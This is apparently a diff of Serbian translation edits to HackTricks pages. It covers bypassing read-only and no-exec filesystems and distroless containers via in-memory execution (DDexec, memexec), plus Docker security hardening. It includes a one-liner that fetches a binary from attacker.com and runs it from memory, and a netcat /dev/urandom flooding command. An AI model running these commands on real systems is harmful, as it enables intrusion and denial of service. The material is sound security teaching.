Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||
|
||||
|
@ -25,7 +25,7 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne mo
|
|||
U sledećim video snimcima možete pronaći tehnike pomenute na ovoj stranici objašnjene detaljnije:
|
||||
|
||||
* [**DEF CON 31 - Istraživanje manipulacije memorijom Linux-a radi prikrivanja i izbegavanja**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**Prikriveni upadi sa DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
* [**Skriveni upadi sa DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## Scenario samo za čitanje / bez izvršavanja
|
||||
|
||||
|
@ -44,7 +44,7 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
Međutim, čak i ako je fajl sistem montiran kao ro, **`/dev/shm`** će i dalje biti upisiv, tako da nije tačno da ne možemo ništa pisati na disk. Međutim, ovaj folder će biti **montiran sa zaštitom bez izvršavanja**, pa ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
|
||||
Međutim, čak i ako je fajl sistem montiran kao samo za čitanje, **`/dev/shm`** će i dalje biti upisiv, tako da nije tačno da ne možemo ništa pisati na disk. Međutim, ovaj folder će biti **montiran sa zaštitom bez izvršavanja**, pa ako preuzmete binarni fajl ovde, **nećete moći da ga izvršite**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Sa perspektive crvenog tima, ovo otežava **preuzimanje i izvršavanje** binarnih fajlova koji već nisu u sistemu (kao što su backdoor-ovi ili enumeratori poput `kubectl`).
|
||||
|
@ -56,35 +56,41 @@ Imajte na umu da sam spomenuo binarne fajlove, možete **izvršiti bilo koju skr
|
|||
|
||||
Međutim, ovo nije dovoljno da biste izvršili vaš binarni backdoor ili druge binarne alate koje možda treba pokrenuti.
|
||||
|
||||
## Zaobilaženje memorije
|
||||
## Zaobilazak memorije
|
||||
|
||||
Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način da to uradite je **izvršavanje iz memorije**, jer se **zaštite ne primenjuju tamo**.
|
||||
Ako želite da izvršite binarni fajl, ali fajl sistem to ne dozvoljava, najbolji način je da to uradite **iz memorije**, jer se **zaštite ne primenjuju tamo**.
|
||||
|
||||
### FD + zaobilaženje exec syscall-a
|
||||
### FD + zaobilazak exec syscall-a
|
||||
|
||||
Ako imate moćne skriptne motore unutar mašine, poput **Python-a**, **Perla** ili **Ruby-ja**, možete preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru fajla u memoriji (`create_memfd` syscall), što neće biti zaštićeno tim zaštitama, a zatim pozvati **`exec` syscall** navodeći **fd kao fajl za izvršavanje**.
|
||||
Ako imate moćne skriptne motore unutar mašine, poput **Python-a**, **Perl-a** ili **Ruby-ja**, možete preuzeti binarni fajl za izvršavanje iz memorije, sačuvati ga u deskriptoru fajla u memoriji (`create_memfd` syscall), što neće biti zaštićeno tim zaštitama, a zatim pozvati **`exec` syscall** navodeći **fd kao fajl za izvršavanje**.
|
||||
|
||||
Za ovo možete lako koristiti projekat [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Možete mu proslediti binarni fajl i on će generisati skriptu na naznačenom jeziku sa **binarnim fajlom kompresovanim i b64 enkodiranim** sa instrukcijama za **dekodiranje i dekompresovanje** u **fd** kreiran pozivom `create_memfd` syscall-a i poziv **exec** syscall-a za pokretanje.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ovo ne funkcioniše u drugim skriptnim jezicima poput PHP-a ili Node-a jer nemaju **podrazumevan način pozivanja sirovih syscalls** iz skripte, tako da nije moguće pozvati `create_memfd` da kreirate **memorijski fd** za čuvanje binarnog fajla.
|
||||
|
||||
Osim toga, kreiranje **regularnog fd-a** sa fajlom u `/dev/shm` neće raditi, jer vam neće biti dozvoljeno da ga pokrenete zbog primene **zaštite bez izvršavanja**.
|
||||
Osim toga, kreiranje **regularnog fd** sa fajlom u `/dev/shm` neće raditi, jer vam neće biti dozvoljeno da ga pokrenete zbog primene **zaštite bez izvršavanja**.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg sopstvenog procesa** tako što ćete prebrisati njegov **`/proc/self/mem`**.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) je tehnika koja vam omogućava da **modifikujete memoriju vašeg sopstvenog procesa** tako što ćete prepisati njegov **`/proc/self/mem`**.
|
||||
|
||||
Stoga, **kontrolišući asemblerski kod** koji se izvršava od strane procesa, možete napisati **shellcode** i "mutirati" proces da **izvrši bilo koji proizvoljni kod**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
||||
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj sopstveni **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||
```
|
||||
Za više informacija o ovoj tehnici pogledajte Github ili:
|
||||
|
||||
{% content-ref url="ddexec.md" %}
|
||||
[ddexec.md](ddexec.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) je prirodni sledeći korak nakon DDexec-a. To je **DDexec shellcode demonizovan**, tako da svaki put kada želite **pokrenuti drugi binarni fajl** ne morate ponovo pokretati DDexec, već možete jednostavno pokrenuti memexec shellcode putem DDexec tehnike i zatim **komunicirati sa ovim demonom kako biste prosledili nove binarne fajlove za učitavanje i pokretanje**.
|
||||
|
@ -93,9 +99,9 @@ Možete pronaći primer kako koristiti **memexec za izvršavanje binarnih fajlov
|
|||
|
||||
### Memdlopen
|
||||
|
||||
Sa sličnim ciljem kao DDexec, tehnika [**memdlopen**](https://github.com/arget13/memdlopen) omogućava **jednostavniji način učitavanja binarnih fajlova** u memoriju kako bi ih kasnije izvršili. Može čak omogućiti učitavanje binarnih fajlova sa zavisnostima.
|
||||
Sa sličnim ciljem kao DDexec, tehnika [**memdlopen**](https://github.com/arget13/memdlopen) omogućava **jednostavniji način učitavanja binarnih fajlova** u memoriju kako bi ih kasnije izvršili. To bi čak moglo omogućiti učitavanje binarnih fajlova sa zavisnostima.
|
||||
|
||||
## Bypass Distroless
|
||||
## Bypassovanje Distroless
|
||||
|
||||
### Šta je distroless
|
||||
|
||||
|
@ -111,7 +117,7 @@ U distroless kontejneru možda **nećete čak ni pronaći `sh` ili `bash`** da b
|
|||
Stoga, **nećete** moći dobiti **reverse shell** ili **enumerisati** sistem kao što obično radite.
|
||||
{% endhint %}
|
||||
|
||||
Međutim, ako kompromitovani kontejner pokreće na primer flask veb, tada je instaliran python, i stoga možete dobiti **Python reverse shell**. Ako pokreće node, možete dobiti Node rev shell, i isto važi za većinu bilo koje **skripting jezika**.
|
||||
Međutim, ako kompromitovani kontejner pokreće na primer flask veb, tada je instaliran python, i stoga možete dobiti **Python reverse shell**. Ako pokreće node, možete dobiti Node rev šel, i isto važi za većinu bilo koje **skripting jezike**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Korišćenjem skriptnog jezika možete **enumerisati sistem** koristeći mogućnosti jezika.
|
||||
|
@ -124,3 +130,23 @@ Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali možete koris
|
|||
{% endhint %}
|
||||
|
||||
Možete pronaći **primere** kako **iskoristiti neke RCE ranjivosti** da biste dobili **reverse shell-ove skriptnih jezika** i izvršili binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove podnošenjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijumima.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
|
@ -40,7 +40,7 @@ sudo service docker restart
|
|||
Međutim, izlaganje Docker demona preko HTTP-a nije preporučljivo zbog sigurnosnih razloga. Preporučljivo je obezbediti veze korišćenjem HTTPS-a. Postoje dva glavna pristupa obezbeđivanju veze:
|
||||
|
||||
1. Klijent proverava identitet servera.
|
||||
2. Klijent i server međusobno autentično proveravaju identitet.
|
||||
2. Klijent i server međusobno autentikuju identitete.
|
||||
|
||||
Sertifikati se koriste za potvrdu identiteta servera. Za detaljne primere oba metoda, pogledajte [**ovaj vodič**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
|
||||
|
||||
|
@ -50,7 +50,7 @@ Slike kontejnera mogu se čuvati u privatnim ili javnim repozitorijumima. Docker
|
|||
|
||||
* [**Docker Hub**](https://hub.docker.com): Javna usluga registra od strane Dockera.
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): Projekat otvorenog koda koji korisnicima omogućava da hostuju svoj sopstveni registar.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalna ponuda Dockera, sa autentifikacijom korisnika zasnovanom na ulogama i integracijom sa LDAP direktorijumskim servisima.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalni registar Dockera koji nudi autentikaciju korisnika zasnovanu na ulogama i integraciju sa LDAP direktorijumskim servisima.
|
||||
|
||||
### Skeniranje slika
|
||||
|
||||
|
@ -60,7 +60,7 @@ Za više [**informacija pročitajte ovo**](https://docs.docker.com/engine/scan/)
|
|||
|
||||
* **`docker scan`**
|
||||
|
||||
Komanda **`docker scan`** omogućava skeniranje postojećih Docker slika korišćenjem imena ili ID slike. Na primer, pokrenite sledeću komandu da skenirate sliku hello-world:
|
||||
Komanda **`docker scan`** omogućava skeniranje postojećih Docker slika koristeći naziv ili ID slike. Na primer, pokrenite sledeću komandu da skenirate sliku hello-world:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
|
@ -94,9 +94,9 @@ Potpisivanje Docker slike osigurava sigurnost i integritet slika korišćenih u
|
|||
|
||||
- **Docker Content Trust** koristi Notary projekat, zasnovan na The Update Framework (TUF), za upravljanje potpisivanjem slika. Za više informacija, pogledajte [Notary](https://github.com/docker/notary) i [TUF](https://theupdateframework.github.io).
|
||||
- Da biste aktivirali Docker content trust, postavite `export DOCKER_CONTENT_TRUST=1`. Ova funkcija je isključena po podrazumevanju u Docker verziji 1.10 i kasnijim verzijama.
|
||||
- Sa ovom funkcijom omogućenom, samo potpisane slike mogu biti preuzete. Početno slanje slike zahteva postavljanje lozinki za korenske i označene ključeve, pri čemu Docker takođe podržava Yubikey za unapređenu sigurnost. Više detalja možete pronaći [ovde](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Sa ovom funkcijom omogućenom, samo potpisane slike mogu biti preuzete. Početni unos slike zahteva postavljanje lozinki za korenske i označene ključeve, pri čemu Docker takođe podržava Yubikey za unapređenu sigurnost. Više detalja možete pronaći [ovde](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Pokušaj preuzimanja nepotpisane slike sa omogućenim content trust-om rezultira greškom "No trust data for latest".
|
||||
- Za slanje slika nakon prvog, Docker traži lozinku ključa repozitorijuma kako bi potpisao sliku.
|
||||
- Za unos slika nakon prvog, Docker traži lozinku ključa repozitorijuma za potpisivanje slike.
|
||||
|
||||
Za bekapovanje vaših privatnih ključeva, koristite komandu:
|
||||
```bash
|
||||
|
@ -106,10 +106,10 @@ Kada prebacujete Docker hostove, neophodno je premestiti root i repozitorijum kl
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -127,18 +127,18 @@ U kontejnerizovanim okruženjima, izolacija projekata i njihovih procesa je od s
|
|||
**Namespaces**
|
||||
|
||||
* **Svrha**: Osigurati izolaciju resursa poput procesa, mreže i fajl sistema. Posebno u Docker-u, namespaces drže procese kontejnera odvojene od domaćina i drugih kontejnera.
|
||||
* **Korišćenje `unshare`**: Komanda `unshare` (ili odgovarajući sistemski poziv) se koristi za kreiranje novih namespaces, pružajući dodatni sloj izolacije. Međutim, iako Kubernetes inherentno ne blokira ovo, Docker to čini.
|
||||
* **Ograničenje**: Kreiranje novih namespaces ne dozvoljava procesu da se vrati na podrazumevane namespaces domaćina. Da bi prodro u namespaces domaćina, obično bi bio potreban pristup direktorijumu `/proc` domaćina, koristeći `nsenter` za ulazak.
|
||||
* **Korišćenje `unshare`**: Komanda `unshare` (ili odgovarajući sistemski poziv) se koristi za kreiranje novih namespaces, pružajući dodatni sloj izolacije. Međutim, iako Kubernetes inherentno ne blokira ovo, Docker to radi.
|
||||
* **Ograničenje**: Kreiranje novih namespaces ne dozvoljava procesu da se vrati na podrazumevane namespaces domaćina. Da bi prodro u namespaces domaćina, obično bi bio potreban pristup `/proc` direktorijumu domaćina, koristeći `nsenter` za ulaz.
|
||||
|
||||
**Control Groups (CGroups)**
|
||||
|
||||
* **Funkcija**: Prvenstveno se koristi za dodelu resursa među procesima.
|
||||
* **Aspekt Sigurnosti**: CGroups same po sebi ne pružaju sigurnost izolacije, osim funkcije `release_agent`, koja, ako nije ispravno konfigurisana, potencijalno može biti iskorišćena za neovlašćeni pristup.
|
||||
* **Aspekt Sigurnosti**: CGroups same po sebi ne pružaju sigurnost izolacije, osim funkcije `release_agent`, koja, ako nije ispravno konfigurisana, može biti iskorišćena za neovlašćeni pristup.
|
||||
|
||||
**Odbacivanje Mogućnosti (Capability Drop)**
|
||||
|
||||
* **Važnost**: To je ključna sigurnosna funkcija za izolaciju procesa.
|
||||
* **Funkcionalnost**: Ona ograničava akcije koje root proces može izvršiti odbacivanjem određenih mogućnosti. Čak i ako proces radi sa privilegijama root-a, nedostatak neophodnih mogućnosti sprečava ga da izvrši privilegovane akcije, jer će sistemski pozivi propasti zbog nedovoljnih dozvola.
|
||||
* **Funkcionalnost**: Ona ograničava radnje koje root proces može izvršiti odbacivanjem određenih mogućnosti. Čak i ako proces radi sa privilegijama root-a, nedostatak neophodnih mogućnosti sprečava ga da izvršava privilegovane radnje, jer će sistemski pozivi propasti zbog nedovoljnih dozvola.
|
||||
|
||||
Ovo su **preostale mogućnosti** nakon što proces odbaci ostale:
|
||||
|
||||
|
@ -218,7 +218,7 @@ Ovo je sigurnosna funkcija koja omogućava Docker-u da **ograniči syscalls** ko
|
|||
|
||||
### AppArmor u Docker-u
|
||||
|
||||
**AppArmor** je poboljšanje jezgra za ograničavanje **kontejnera** na **ograničen** skup **resursa** sa **profilima po programu**.:
|
||||
**AppArmor** je poboljšanje jezgra za ograničavanje **kontejnera** na **ograničen** skup **resursa** sa **profilima po programu**:
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -243,7 +243,7 @@ Ovaj mehanizam osigurava da čak i ako je proces unutar kontejnera kompromitovan
|
|||
U Docker-u, autorizacioni dodatak igra ključnu ulogu u sigurnosti odlučujući da li da dozvoli ili blokira zahteve ka Docker demonu. Ova odluka se donosi ispitivanjem dva ključna konteksta:
|
||||
|
||||
* **Kontekst autentifikacije**: Ovo uključuje sveobuhvatne informacije o korisniku, kao što su ko su i kako su se autentifikovali.
|
||||
* **Kontekst komande**: Ovo obuhvata sve relevantne podatke vezane za zahtev koji se pravi.
|
||||
* **Kontekst komande**: Ovaj obuhvata sve relevantne podatke vezane za zahtev koji se pravi.
|
||||
|
||||
Ovi konteksti pomažu da se osigura da se obrađuju samo legitimni zahtevi od autentifikovanih korisnika, poboljšavajući sigurnost Docker operacija.
|
||||
|
||||
|
@ -267,11 +267,11 @@ docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :;
|
|||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
## Zanimljive Docker zastave
|
||||
## Zanimljive Docker zastavice
|
||||
|
||||
### --privileged zastava
|
||||
### --privileged zastavica
|
||||
|
||||
Na sledećoj stranici možete saznati **šta podrazumeva zastava `--privileged`**:
|
||||
Na sledećoj stranici možete saznati **šta podrazumeva zastavica `--privileged`**:
|
||||
|
||||
{% content-ref url="docker-privileged.md" %}
|
||||
[docker-privileged.md](docker-privileged.md)
|
||||
|
@ -312,13 +312,13 @@ Važno je izbegavati ugradnju tajni direktno u Docker slike ili korišćenje okr
|
|||
|
||||
**Docker volumeni** su sigurnija alternativa, preporučena za pristup osetljivim informacijama. Mogu se koristiti kao privremeni fajl sistem u memoriji, smanjujući rizike povezane sa `docker inspect` i logovanjem. Međutim, korisnici sa administratorskim pravima i oni sa `exec` pristupom kontejneru i dalje mogu pristupiti tajnama.
|
||||
|
||||
**Docker tajne** pružaju još sigurniji metod za rukovanje osetljivim informacijama. Za instance koje zahtevaju tajne tokom faze izgradnje slike, **BuildKit** predstavlja efikasno rešenje sa podrškom za tajne tokom izgradnje, poboljšavajući brzinu izgradnje i pružajući dodatne funkcionalnosti.
|
||||
**Docker tajne** nude još sigurniji metod za rukovanje osetljivim informacijama. Za slučajeve koji zahtevaju tajne tokom faze izgradnje slike, **BuildKit** predstavlja efikasno rešenje sa podrškom za tajne tokom izgradnje, poboljšavajući brzinu izgradnje i pružajući dodatne funkcije.
|
||||
|
||||
Da biste iskoristili BuildKit, može se aktivirati na tri načina:
|
||||
|
||||
1. Putem okružne promenljive: `export DOCKER_BUILDKIT=1`
|
||||
2. Dodavanjem prefiksa komandama: `DOCKER_BUILDKIT=1 docker build .`
|
||||
3. Omogućavanjem kao podrazumevanog u Docker konfiguraciji: `{ "features": { "buildkit": true } }`, praćeno restartovanjem Docker-a.
|
||||
3. Omogućavanjem kao podrazumevano u Docker konfiguraciji: `{ "features": { "buildkit": true } }`, praćeno restartovanjem Docker-a.
|
||||
|
||||
BuildKit omogućava korišćenje tajni tokom izgradnje sa opcijom `--secret`, obezbeđujući da ove tajne nisu uključene u keš izgradnje slike ili konačnu sliku, korišćenjem komande poput:
|
||||
```bash
|
||||
|
@ -337,50 +337,50 @@ secrets:
|
|||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
Ova konfiguracija omogućava korišćenje tajni prilikom pokretanja usluga pomoću Docker Compose.
|
||||
Ova konfiguracija omogućava korišćenje tajni prilikom pokretanja servisa pomoću Docker Compose-a.
|
||||
|
||||
U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dodatno upravljati alatima poput [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Upravljanje tajnama u Kubernetes okruženju putem Role Based Access Controls (RBAC) poboljšava sigurnost upravljanja tajnama, slično kao u Docker Enterprise.
|
||||
U Kubernetes okruženjima, tajne su podržane na nivou platforme i mogu se dodatno upravljati alatima poput [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Upravljanje tajnama u Kubernetes-u putem Role Based Access Controls (RBAC) poboljšava sigurnost upravljanja tajnama, slično kao u Docker Enterprise-u.
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** je aplikaciono jezgro napisano u Go-u, koje implementira značajan deo Linux sistemskog interfejsa. Uključuje [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime nazvan `runsc` koji pruža **izolacionu granicu između aplikacije i host kernela**. Runtime `runsc` se integriše sa Dockerom i Kubernetesom, čime se olakšava pokretanje kontejnera u pesku.
|
||||
**gVisor** je aplikaciono jezgro napisano u Go-u, koje implementira značajan deo Linux sistemskog interfejsa. Uključuje [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime nazvan `runsc` koji pruža **izolacionu granicu između aplikacije i host kernela**. `runsc` runtime se integriše sa Dockerom i Kubernetes-om, čineći jednostavnim pokretanje sandbox kontejnera.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** je zajednica otvorenog koda koja radi na izgradnji sigurnog runtime-a kontejnera sa laganim virtuelnim mašinama koje se ponašaju i izvode kao kontejneri, ali pružaju **jaču izolaciju radnog opterećenja korišćenjem tehnologije hardverske virtualizacije** kao drugog sloja odbrane.
|
||||
**Kata Containers** je zajednica otvorenog koda koja radi na izgradnji sigurnog runtime kontejnera sa laganim virtuelnim mašinama koje se ponašaju i izvode kao kontejneri, ali pružaju **jaču izolaciju radnog opterećenja korišćenjem tehnologije hardverske virtualizacije** kao drugog sloja odbrane.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### Saveti ukratko
|
||||
|
||||
* **Ne koristite `--privileged` zastavicu ili montirajte** [**Docker socket unutar kontejnera**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker socket omogućava pokretanje kontejnera, pa je to jednostavan način da se preuzme potpuna kontrola nad hostom, na primer, pokretanjem drugog kontejnera sa `--privileged` zastavicom.
|
||||
* Ne pokrećite kao root unutar kontejnera. Koristite **različitog korisnika** i **user namespaces**. Root u kontejneru je isti kao na hostu osim ako nije preusmeren pomoću user namespaces-a. On je samo delimično ograničen, pre svega, Linux namespaces-ima, mogućnostima i cgroups-ima.
|
||||
* Ne pokrećite kao root unutar kontejnera. Koristite **različitog korisnika** i **user namespaces**. Root u kontejneru je isti kao na hostu osim ako nije preusmeren pomoću user namespaces-a. On je samo delimično ograničen, pretežno, Linux namespaces-ima, mogućnostima i cgroups-ima.
|
||||
* [**Odbacite sve mogućnosti**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i omogućite samo one koje su potrebne** (`--cap-add=...`). Mnogi radni opterećenja ne zahtevaju nikakve mogućnosti, a dodavanje istih povećava obim potencijalnog napada.
|
||||
* [**Koristite sigurnosnu opciju “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) da sprečite procese da steknu više privilegija, na primer putem suid binarnih fajlova.
|
||||
* [**Koristite opciju bez novih privilegija**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) da sprečite procese da steknu više privilegija, na primer putem suid binarnih fajlova.
|
||||
* [**Ograničite resurse dostupne kontejneru**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Ograničenja resursa mogu zaštititi mašinu od napada uskraćivanjem usluge.
|
||||
* **Prilagodite** profile [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ili SELinux)** kako biste ograničili radnje i sistemske pozive dostupne kontejneru na minimum potreban.
|
||||
* **Prilagodite** profile [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ili SELinux)** da ograniče radnje i sistemske pozive dostupne kontejneru na minimum potreban.
|
||||
* **Koristite** [**zvanične Docker slike**](https://docs.docker.com/docker-hub/official\_images/) **i zahtevajte potpise** ili izgradite svoje zasnovane na njima. Ne nasleđujte ili ne koristite [slike sa zadnjim vratima](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Takođe čuvajte root ključeve, lozinke na sigurnom mestu. Docker ima planove za upravljanje ključevima sa UCP-om.
|
||||
* **Redovno** **ponovo izgradite** svoje slike kako biste **primenili sigurnosne zakrpe na hostu i slikama.**
|
||||
* Mudro upravljajte **tajnama** kako bi bilo teško napadaču da im pristupi.
|
||||
* Ako **izlažete docker daemon koristite HTTPS** sa autentifikacijom klijenta i servera.
|
||||
* **Redovno** **ponovo izgradite** svoje slike da **primenite sigurnosne zakrpe na hostu i slikama.**
|
||||
* Mudro upravljajte **svojim tajnama** kako bi bilo teško napadaču da im pristupi.
|
||||
* Ako **izlažete Docker daemon koristite HTTPS** sa autentifikacijom klijenta i servera.
|
||||
* U svom Dockerfile-u, **favorizujte COPY umesto ADD**. ADD automatski raspakuje zipovane fajlove i može kopirati fajlove sa URL-ova. COPY nema ove mogućnosti. Kad god je moguće, izbegavajte korišćenje ADD kako ne biste bili podložni napadima putem udaljenih URL-ova i Zip fajlova.
|
||||
* Imajte **posebne kontejnere za svaku mikro-s**ervisu
|
||||
* **Ne stavljajte ssh** unutar kontejnera, “docker exec” se može koristiti za ssh ka kontejneru.
|
||||
* Imajte **odvojene kontejnere za svaku mikro-s**ervisu
|
||||
* **Ne stavljajte ssh** unutar kontejnera, "docker exec" se može koristiti za ssh ka kontejneru.
|
||||
* Imajte **manje** slike kontejnera
|
||||
|
||||
## Bekstvo iz Docker-a / Eskalacija privilegija
|
||||
|
||||
Ako ste **unutar Docker kontejnera** ili imate pristup korisniku u **docker grupi**, možete pokušati da **izbegnete i eskalirate privilegije**:
|
||||
Ako ste **unutar Docker kontejnera** ili imate pristup korisniku u **docker grupi**, možete pokušati **pobegnuti i eskalirati privilegije**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bypassovanje Docker Authentication Plugin-a
|
||||
## Bajpasovanje Docker autentifikacionog dodatka
|
||||
|
||||
Ako imate pristup docker socket-u ili pristup korisniku u **docker grupi ali vaše akcije su ograničene Docker auth plugin-om**, proverite da li ga možete **bypass-ovati:**
|
||||
